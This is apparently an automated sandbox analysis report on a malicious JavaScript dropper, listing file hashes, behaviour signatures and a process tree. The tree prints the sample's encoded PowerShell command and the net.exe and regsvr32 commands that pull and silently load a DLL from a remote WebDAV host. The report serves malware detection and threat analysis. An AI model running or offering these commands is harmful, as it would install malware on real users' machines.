Analysis

  • max time kernel
    135s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 17:09

General

  • Target

    21683156623116131759.js

  • Size

    19KB

  • MD5

    c2a340da845879a608a083194371f717

  • SHA1

    df6d64a7b4c5f20b6db98e7cd3e4c148f842f8b3

  • SHA256

    049437813d01cef9eba7f09d2fbdf45ac2566b27898b07e31efa11ee6bd1ba77

  • SHA512

    23acc427c960626e4e1617b53120709d045a78f2cd9fe92e77de53d212910b9fe35679526e7a55bc6b2e4c5c1accb63ddb6dea4faf8ad1a358985dc62e682c20

  • SSDEEP

    384:/oCGEDTHsF+Zfbw97RxONJnvhcufBHLG81GGD8O9jS389H7xbGFYGtHGiIG9YGLh:/IE3sFufbw97RxONJnvhcufBHLG8sGDK

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\21683156623116131759.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADUAOAAxADMAMgA2ADkANwA5ADIANgAyADgANQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1992
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:3504
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\258132697926285.dll
          3⤵
            PID:3616

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5seddy2.d22.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/1992-0-0x00007FFC621C3000-0x00007FFC621C5000-memory.dmp

              Filesize

              8KB

            • memory/1992-6-0x00000175C46B0000-0x00000175C46D2000-memory.dmp

              Filesize

              136KB

            • memory/1992-11-0x00007FFC621C0000-0x00007FFC62C81000-memory.dmp

              Filesize

              10.8MB

            • memory/1992-12-0x00007FFC621C0000-0x00007FFC62C81000-memory.dmp

              Filesize

              10.8MB

            • memory/1992-15-0x00007FFC621C0000-0x00007FFC62C81000-memory.dmp

              Filesize

              10.8MB